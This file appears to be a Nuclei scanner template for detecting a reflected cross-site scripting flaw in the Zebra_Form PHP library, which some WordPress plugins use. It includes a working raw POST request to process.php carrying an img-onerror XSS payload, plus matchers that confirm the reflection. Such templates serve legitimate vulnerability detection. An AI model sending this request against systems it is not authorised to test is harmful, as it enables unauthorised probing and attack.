nuclei-templates/http/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml

52 lines
1.9 KiB
YAML
Raw Normal View History

2021-02-15 18:58:11 +00:00
id: wordpress-zebra-form-xss
2021-02-15 10:43:31 +00:00
info:
name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting
2021-02-15 10:43:31 +00:00
author: madrobot
severity: medium
2022-08-10 09:18:17 +00:00
description: |
Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php.
reference:
- https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
- https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5
classification:
2023-03-03 15:27:54 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 1
2023-10-14 11:27:55 +00:00
tags: wordpress,xss,wp,wpscan,intrusive
http:
2021-02-15 10:43:31 +00:00
- raw:
- |
2022-08-10 09:18:17 +00:00
POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1
2021-02-15 10:43:31 +00:00
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
Origin: null
-----------------------------77916619616724262872902741074
Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt"
2021-02-15 10:43:31 +00:00
Content-Type: text/plain
Test
-----------------------------77916619616724262872902741074--
matchers-condition: and
matchers:
- type: word
part: body
2022-08-10 09:18:17 +00:00
words:
- "</script><img src onerror=alert(document.domain)>"
2021-02-15 18:58:11 +00:00
- type: word
2022-08-10 09:18:17 +00:00
part: header
2021-02-15 18:58:11 +00:00
words:
- "text/html"
2022-08-10 09:18:17 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100c03ef41c0ba961c72164701241b78da8d638eb78bb78c0169c5e649bdc9945b80220262a4dc87375607046a19c874994d591e04ead2b1f9e34a1ba678283b1f70eb1:922c64590222798bb761d5b6d8e72950